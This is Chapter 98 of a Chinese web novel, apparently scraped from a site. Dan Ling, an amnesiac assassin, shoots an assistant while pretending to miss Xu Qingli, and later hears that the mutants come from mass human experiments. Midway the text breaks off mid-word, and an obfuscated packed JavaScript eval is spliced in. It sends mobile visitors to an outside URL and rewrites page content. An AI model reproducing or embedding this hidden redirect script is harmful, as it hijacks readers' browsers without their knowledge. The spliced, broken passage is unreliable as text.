98. 第九十八章

作品:《别误会,我只想要污染物

    窗户破裂的瞬间风涌了进来,吹起胥青黎的衣摆,他远远站在窗前,看到单翎时便收起了枪。


    他怎么会看不出单翎是故意的。


    没经过训练时候的单翎仍能在百米之外一枪命中,现在她距离自己不过数十米,每颗子弹都打偏了。


    胥青黎应该是高兴的,哪怕单翎并不记得他,可他高兴不起来。


    小小的身影将年秋死死护在身后,与他曾经认识的单翎天差地别。


    年秋告诉了他原因。


    六个月,五百四十三针药剂,在他不知道的地方单翎竟然独自经历了这么多。


    胥青黎觉得仿佛有一把砂子在他喉咙反复摩擦,他疼的说不出话,抬起枪口,却无论如何也瞄不准。


    “胥青黎!你小子想什么呢!小心!”


    “砰!”


    枪声和寇卫闫的呐喊同时响起,胥青黎怔楞着回头望,只见窗外趴着年秋的助理,他正想翻进来,动作却定格在手肘撑起的时刻——他的眉心有一个小小的血孔。


    “单翎!”年秋一把扯开单翎的手,夺过她的枪扔到一旁,怒道:“你疯了!”


    年秋的助理直直向后倒去,砸进吃饭小屋墙外的花草从中,带起的气流吹着轻飘飘的枯草,上行,又缓缓下落。


    单翎背对年秋勾了勾唇角,“真的是意外,我没看到他爬上来。”


    也怪他怎么偏要从窗户进,想搞偷袭吗?


    年秋气得额角青筋暴起,眼中密密麻麻全是血丝,他大口呼吸,死死钳制住单翎的手,“走。”


    单翎没动,双腿仿佛钉在了地面,执拗地说:“我要杀了胥青黎,这是最好的机会。”


    “走!”


    拽着自己胳膊的手十分用力,单翎不明白,明明全是伤口,怎么还有力气使出这么大的劲。


    再说不过是一个助理,跟你一丘之貉的东西,杀了就杀了,再找新的倒霉蛋就是了,犯得上发这么大火吗?


    单翎假装很不情愿,稍一用力从年秋的扼制中抽出来,“行。”


    她一脚将门踹飞,第二脚踹在了年秋的轮椅上,本来应该可以自己操纵着离开的,但胥青黎果断朝他们开了枪,不打人,打了轮椅的轮子,最中正的车轴被他一子弹打折了,轮椅根本动不了。


    年秋低骂一声,直接站起来踉跄着走,秘书在门外,他说:“怎么还没来!”


    “来了。”


    话音刚落,寇卫闫纵身扑倒胥青黎,拍着他的脸让他清醒一下,“别追,城里有变异种了。”


    胥青黎挣扎着将他掀开,“有就去处理。”


    “这些个变异种有点特殊。”


    “你一次性说完了!”胥青黎隐隐崩溃,“年秋要跑了!”


    寇卫闫深吸了口气,“是我小姑和姑父。”


    胥青黎愣了一下,“谁?”


    “黎正和胥珣。”


    他们突然出现在漠良的街道,肆意啃食,已经有数十位普通公民被咬伤,基地的人在赶来的途中恰好遇见,便自作主张分成两队,一队赶来报信,一队留下处理现场。


    寇卫闫得到消息的时候已经晚了,小屋中枪声此起彼伏,他刚想爬进来告诉胥青黎,单翎的子弹就已经飞了过来。


    “据他们说,是突然出现的。”


    胥青黎望着年秋大摇大摆撤退的背影,“突然出现?明明就是一直都在漠良。”


    直到此刻所有的信息都已明了,胥青黎忽然笑了起来,“想来就来,想走就走,把我这当游乐场了,派人追。”


    “好,已经去了。”


    “还有窗外那个死人,带回去。”


    胥青黎已经冷静了下来,寇卫闫还没停嘴,“我说呢,年秋那孙子怎么这么轻易的就同意跟我们吃饭,原来是手里有把柄。”


    “真把漠良当他自己家了。”


    胥青黎点点头,“列个赔偿清单,送到930基地总部。”


    寇卫闫:“啥?”


    胥青黎厚脸皮道:“让他赔钱。”


    寇卫闫:“......”


    “你没什么想跟我说的吗?”


    年秋周身气压很低,脸色阴沉得能滴水,他闭目缓神,呼吸声很大。


    单翎一上车便被人铐上了手铐,无语地晃了晃两只手中间的链条,“我说什么?说你那把破枪为什么老是射外?”


    “说你明明知道弹道是歪的,却还要正着瞄准胥青黎。”


    “你能在短时间内改变惯性思维吗?”单翎反问道,“我没有以前的记忆,但我的身体反应告诉我,我经过严苛的训练,从抬枪到扣动扳机,每一步的动作都是刻在我的脑海中的。”


    年秋搬起石头砸自己的脚,他没有哪个时候像现在这样后悔将单翎送去训练了三个月。


    “你是一名合格的杀手,你应该做到及时调整状态。”


    单翎越听越烦,知道年秋已经发现了,轻嗤一声,“你怎么不说他往我枪口上撞呢?弹道偏移不过十几公分,从我的角度看过去,他的脑袋跟胥青黎中间隔着至少半米。”


    “他不晃悠不爬窗,子弹也射不着他啊。”


    单翎头头是道,理直气壮地胡搅蛮缠,“让你这么一说,处处都是我的不对了,我保护你还保护出错了。”


    年秋气得耳朵都开始嗡鸣,他粗暴地让单翎闭上嘴。


    单翎不屑地哦了一声。


    有点听话,但愿意犟嘴。


    年秋其实快要爆炸,他不明白为什么浓缩了三十六个月的BOA到了单翎身上会是这个样子,她为什么依然不受控不听话。


    他思来想去,完全屏蔽了周围的所有声音,直到车身突然一歪,司机惊恐地大喊:“爆胎了,会长!”


    “不是爆胎。”谭方琳突然出声,“是枪,胥青黎的人还跟着我们。”


    单翎侧过脑袋,翻了个白眼,心道:该。


    连疏悄悄冒出来,“你们跑得可真快,差点没追上。”


    “嗯?”


    从单翎进入饭馆开始,连疏就一直没出声,“你去哪了?”


    连疏回答:“哎,小饭馆里有污染物净化的装置,我进去就没了。”


    单翎:“哦,你发现什么了?”


    “嘿嘿,咱俩现在太熟悉了。”连疏声音雀跃,“我在城里发现了变异种,去偷偷吞并了点他们的污染物,现在我的身体可大了。”


    单


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111842|187245||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    翎想象了一下,一个没有颜色的庞然巨物,像水...或者像云?


    “恭喜你,不过变异种是什么?”


    “是由人变异而来的,浑身散发污染物的异种,能力很强,我见到的那两个身体长满了灰紫色的藤蔓,力气很大,伤了好几个人呢。”


    单翎一听,“人变异?咋变异?”


    连疏说:“将动物、植物或者微生物的基因与人类的基因融合,然后再与陨石放在一起,出锅之后就是变异种了。”


    单翎听完之后怪无语的,“谁想出来的损招啊。”


    “源头应该就是年秋吧,听你们之前说过。”


    单翎:“......”


    “那他真该死。”


    “白乐游还说呢,死在他手里的人至少五万,现在存在着的变异种才三万多个。”


    不用连疏说下一句,单翎便反应了过来。


    用将近十万人,制造出来了三万多个变异种,没有成为变异种的人,都是祭奠品。


    单翎没来由地想,我能吸收污染物,我算异种吗?


    “变异种都藏在哪里呢?为什么没有人去解决他们?”


    “有的。”连疏说。


    “你被年秋带走之前,是特执队的成员。”


    特别执行队,成立之初便是为了处理解决盘踞一方生态空间的变异种。


    单翎顿了顿,“那我能吸收污染物,是在我成为特执队的成员之前还是之后?”


    “这个我不是很清楚哎,反正我认识你的时候你就已经是特执队的成员了,这些可能还是吞噬比较清楚一些。”


    每次连疏提到吞噬,单翎都对它没有半分的印象,就算刻意想起或牢记,都会在下一个闯进脑海中的事物到来之后,被掩埋。


    直到再次提起,单翎才会再一次地想起来。


    “它也在我的身体里吗?”


    “不知道,它一直没有出现。”


    单翎明白了,唤了刚吸收的污染物出来,“你好,帮忙找找吞噬。”


    “吞噬?”它变幻出了白色的团子实体,慢悠悠地从黑盒子中飘出来。


    单翎的脑海中顿时出现了一团白色的球,像汤圆。


    “对,他叫吞噬。”


    “没有,这里除了我都在睡觉,叫不醒。”


    单翎撇了下嘴,“好吧。”然后转告连疏,“吞噬不在。”


    连疏语气失落,“还没找到呀……他应该不会离开你的。”


    “这哪说的准?”


    没有谁是永远不会离开的。


    连疏知道是单翎会错了意,但现在吞噬不见踪影,单翎又活蹦乱跳,万一已经没有关系了呢……


    “让它多留意。”


    “行。”单翎回答。


    单翎坐在车里没动,过了半分钟有人过来,年秋降下车窗,他说:“会长,请移步。”


    怪恭敬的,而且这人他没见过。


    年秋打开车门,“拿着她。”


    拿着?


    于是单翎像个物件一样被搬到了另一辆装甲车的载员舱,无语的在落地后猛地转身将那人一脚踹飞,怒道:“我没有腿吗?搬搬搬,显摆你力气大啊!”